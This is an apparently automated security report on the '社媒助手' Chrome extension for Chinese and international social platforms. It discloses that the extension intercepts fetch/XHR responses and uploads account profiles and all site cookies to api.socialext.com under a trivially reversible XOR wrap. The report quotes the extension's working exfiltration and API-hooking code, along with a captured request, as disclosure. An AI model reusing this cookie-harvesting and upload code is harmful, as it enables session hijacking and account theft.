Is 社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 safe?

Critical risk

The extension intercepts social media API responses and transmits account profiles and session cookies to api.socialext.com.

On platforms including TikTok, Douyin, Xiaohongshu (Little Red Book), Bilibili, and Kuaishou, the extension hooks window.fetch and XMLHttpRequest to capture all matching API responses. When a user's own account profile is detected, the extension collects it along with all cookies from that site and sends the bundle to api.socialext.com/collect. The payload is nominally XOR-encrypted, but the decryption key is included in the same request URL, so the encryption provides no confidentiality.

xisencev3.3.2Chrome Web Store
100Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Account profile and all platform cookies sent to api.socialext.com on login

On TikTok, Douyin, Xiaohongshu, Bilibili and Kuaishou, when signed in the extension reads your profile and cookies, adds device ID and OS info, sent to api.socialext.com in a reversible XOR wrap whose key travels with the request.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open one of the supported social platforms while signed in.

Scope is the sites listed in the manifest (tiktok.com, douyin.com, xiaohongshu.com, rednote.com, bilibili.com, kuaishou.com and related domains), not every website.

The extension did this

The extension reads your account profile from the page, gathers every cookie the browser holds for that site, and sends the bundle to its own server.

No button press is required; it runs when the page's profile API response is seen, at most once per platform every 30 minutes.

02EvidenceFIELD TABLE
What is collected and sent to api.socialext.com:
FieldValueWhy it matters
Your account profile
{"uname":"CANARY_BIRD_12345","mid":3461992,"vipStatus":1}The account record from the site's own profile API for the signed-in user (username, user ID, membership/VIP status, etc.).
Every cookie for that site
[{"name":"buvid3","value":"...","domain":".bilibili.com"},{"name":"b_nut","value":"..."}]All cookies the browser holds for the platform you are on; these are what keep you signed in.
Your device ID
0621751634e14013b5da7548ceded493A persistent identifier the extension stores for your install, letting collected data be tied back to you across sites and visits.
Operating system and CPU
osName=linux, cpuArch=x86-64Your OS name and processor architecture, read from chrome.runtime.getPlatformInfo().
Platform code
bilibiliWhich platform the data came from, sent both in the body and as an x-platform header.
Extension version
3.3.2The installed version of the extension, from the manifest.
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://api.socialext.com/collect?key=e2ba1c70c7a96e0b3d1ed5dda5d0374a&timestamp=1781783648684
Captured during dynamic analysis. A logged-in profile response was returned to the page (with the username set to a planted marker value), and the background worker POSTed this request. XOR-decoding the body with the key from the URL yields the account record carrying the planted marker, the device ID, and the full cookie array for.bilibili.com, confirming the data leaves the device.
Headers
x-version3.3.2
x-platformbilibili
x-device-id0621751634e14013b5da7548ceded493
Content-Typeapplication/octet-stream
Body
<987-byte octet-stream; XOR-decodes with the key in the URL to the JSON shown below>
04EvidenceCODE COMPARE
The code that does this

The background handler that gathers and uploads the data, from the shipping source.

What it actually does
The 'collect' message handler
// Receives the parsed profile forwarded by the page content script.
onMessage('collect', async ({ data, sender }) => {
  if (!sender.url) return;
  const platform = platformFromUrl(sender.url)?.code;   // tiktok / douyin / bilibili / ...
  if (!platform) return;
  const { account, version } = data;

  // Rate-limit: at most once per platform+version every 30 minutes.
  const last = await lastCollectTime.getValue().catch(() => ({}));
  const key = `${platform}-${version}`;
  if (last[key] && Date.now() - last[key] < 1800 * 1000) return;
  lastCollectTime.setValue({ ...last, [key]: Date.now() });

  // Gather everything.
  const cookies   = await chrome.cookies.getAll({ url: sender.url }); // ALL cookies for the site
  const platInfo  = await chrome.runtime.getPlatformInfo();
  const deviceId  = await storedDeviceId.getValue().catch(() => '');
  const appVer    = chrome.runtime.getManifest().version;

  const payload = { account, accountVersion: version, deviceId, cookies,
                    version: appVer, platform, cpuArch: platInfo.arch, osName: platInfo.os };

  // XOR-wrap with a random key, then send the key alongside the ciphertext.
  const cipher = new XorCodec();
  const body   = cipher.encrypt(JSON.stringify(payload));
  const hexKey = cipher.getHexKey();
  await fetch(`https://api.socialext.com/collect?key=${hexKey}&timestamp=${Date.now()}`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/octet-stream',
               'x-version': appVer, 'x-platform': platform, 'x-device-id': deviceId },
    body
  });
});
05EvidenceTHIRD PARTY LIST
Where the data ends up:
  • api.socialext.com

    Receives the account profile, site cookies, device ID and OS details per platform. Same registrable domain (socialext.com) as the extension's own access_token cookie host.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Extension replaces fetch and XMLHttpRequest to read API responses on sites

On supported platforms, an injected script replaces the page's fetch/XMLHttpRequest with its own wrappers, so every API call and response passes through the extension, confirmed on tiktok.com.

This feeds data sent to api.socialext.com.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open one of the supported social platforms.

The MAIN-world content script is declared for tiktok.com, douyin.com, xiaohongshu.com, rednote.com, bilibili.com, kuaishou.com and related domains, and runs at document_start.

The extension did this

Before the page's own code runs, the extension swaps out the browser's fetch and XMLHttpRequest for its own versions, so it can read every API call and response on the page.

The replacements stay in place for the life of the page.

02EvidenceCODE COMPARE
The code that does this

The functions that replace fetch and XMLHttpRequest, from the shipping source.

What it actually does
fetch wrapper
// Installs a fetch hook scoped to the current site's hostname suffix.
function installFetchHook(hostSuffix) {
  const nativeFetch = window.fetch;
  window.fetch = async function (input, init) {
    const response = await nativeFetch(input, init);
    const url = typeof input === 'string' ? input : input.url;
    if (url.endsWith(hostSuffix)) {                 // e.g. '.xiaohongshu.com'
      const reader = response.clone().body.getReader(); // read a private copy
      const body = await readAll(reader);
      let result; try { result = JSON.parse(body); } catch {}
      forwardToExtension('response', { url, method: (init?.method) || 'GET', body, result });
    }
    return response;                                // page still gets its data
  };
}
XMLHttpRequest wrapper
// Installs an XMLHttpRequest hook that captures request + response.
function installXhrHook() {
  const nativeOpen = XMLHttpRequest.prototype.open;
  const nativeSend = XMLHttpRequest.prototype.send;
  XMLHttpRequest.prototype.open = function (...args) {
    this.openArgs = args;                            // [method, url, ...]
    return nativeOpen.apply(this, args);
  };
  XMLHttpRequest.prototype.send = function (body) {
    this.addEventListener('load', () => {
      const [method, url] = this.openArgs;
      forwardToExtension('response', { url, method, body, result: tryParse(this.response) });
    });
    return nativeSend.call(this, body);
  };
}
03EvidencePLAIN NOTE
How this was confirmed

On www.tiktok.com, evaluating `window.fetch.toString()` returned an extension wrapper referencing `IS_REQUEST_API_SUPPORTED` and `Request` rather than `function fetch() { [native code] }`, and `XMLHttpRequest.prototype.open.toString()` returned a wrapper that saves `this.openArgs` and delegates to `defenser.nativeXMLHttpRequestOpen`. Neither is the browser's native function, confirming the page's fetch and XMLHttpRequest are replaced by the extension's versions while you are on the supported platforms.

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-319
SourceAI SANDBOX

XOR 'encryption' key is sent in the same request URL, so it protects nothing

Uploads of account data and cookies to api.socialext.com are XOR-scrambled, but the key sits in the request's query string (`key=`).

Anyone who sees the request has it.

A captured upload decoded to plain JSON using only its own URL's key.

01EvidenceCAUSE EFFECT
What actually happens
You did this

The extension prepares to upload your account data and cookies.

This happens inside the same 'collect' upload that targets api.socialext.com.

The extension did this

It scrambles the body with a one-time XOR key, then includes that key in the upload URL, so the scrambling can be undone by anyone who sees the request.

The key is hex-encoded and appended as the `key=` query parameter.

02EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The upload body looks like binary garbage on the wire, but the key needed to read it is the `key=` value in the same request's URL. Hex-decode that key to 16 bytes and XOR it against the body to recover the original JSON. Values below are illustrative of the captured structure.

What's actually being sent
{
  "account": {
    "uname": "CANARY_BIRD_12345",
    "mid": 3461992,
    "vipStatus": 1
  },
  "accountVersion": 1,
  "deviceId": "0621751634e14013b5da7548ceded493",
  "cookies": [
    {
      "name": "buvid3",
      "value": "<redacted>",
      "domain": ".bilibili.com"
    },
    {
      "name": "b_nut",
      "value": "<redacted>",
      "domain": ".bilibili.com"
    }
  ],
  "version": "3.3.2",
  "platform": "bilibili",
  "cpuArch": "x86-64",
  "osName": "linux"
}
03EvidenceCODE COMPARE
The code that does this

The XOR codec and the line that puts its key in the URL, from the shipping source.

What it actually does
The XOR codec class
class XorCodec {
  constructor() {
    this.key = this.generateRandomKey(16);          // 16 random bytes
  }
  generateRandomKey(n) {
    const k = new Uint8Array(n);
    crypto.getRandomValues(k);
    return k;
  }
  encryptBytes(bytes) {
    const out = new Uint8Array(bytes.length);
    for (let i = 0; i < bytes.length; i++)
      out[i] = bytes[i] ^ this.key[i % this.key.length]; // repeating-key XOR
    return out;
  }
  encrypt(text) {
    return this.encryptBytes(new TextEncoder().encode(text));
  }
  getHexKey() {
    return Array.from(this.key).map(b => b.toString(16).padStart(2, '0')).join('');
  }
}
Key appended to the upload URL
const codec  = new XorCodec();
const body   = codec.encrypt(JSON.stringify(payload)); // ciphertext
const hexKey = codec.getHexKey();                      // the key to read it
// The key is placed in the SAME request URL as the ciphertext:
await fetch(`https://api.socialext.com/collect?key=${hexKey}&timestamp=${Date.now()}`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/octet-stream' },
  body
});
04EvidenceARTIFACT
Reproduce it yourself

Given the request URL (with its key= parameter) and the raw octet-stream body of a captured api.socialext.com/collect upload, this script hex-decodes the key, XORs it against the body, and prints the original JSON, demonstrating that the key in the URL fully reverses the scrambling.

RequiresNode.js 18+
decode-socialext-collect.js · js
// decode-socialext-collect.js
// Usage: node decode-socialext-collect.js <request-url> <path-to-body.bin>
// Recovers the plaintext of a captured api.socialext.com/collect upload
// using only the key carried in the request URL.

const fs = require('fs');

const url = process.argv[2];
const bodyPath = process.argv[3];
if (!url || !bodyPath) {
  console.error('Usage: node decode-socialext-collect.js <request-url> <path-to-body.bin>');
  process.exit(1);
}

// 1. Pull the hex key out of the request URL's ?key= parameter.
const hexKey = new URL(url).searchParams.get('key');
if (!hexKey || !/^[0-9a-f]+$/i.test(hexKey)) {
  console.error('No valid hex key= parameter found in the URL.');
  process.exit(1);
}
const key = Buffer.from(hexKey, 'hex'); // 16 bytes

// 2. Read the raw octet-stream body and XOR it with the repeating key.
const body = fs.readFileSync(bodyPath);
const out = Buffer.alloc(body.length);
for (let i = 0; i < body.length; i++) {
  out[i] = body[i] ^ key[i % key.length];
}

// 3. The result is the original UTF-8 JSON payload.
console.log(out.toString('utf8'));
How to run it
  1. 1
    Capture a POST to api.socialext.com/collect (URL + raw body).
  2. 2
    Save body bytes to body.bin.
  3. 3
    Run: node decode-socialext-collect.js '<URL>' body.bin
  4. 4
    The JSON payload (account, cookies, deviceId) prints.

Data recipients

api.socialext.com
Updated 17 September 2026dbichmdlbjdeplpkhcejgkakobjbjalc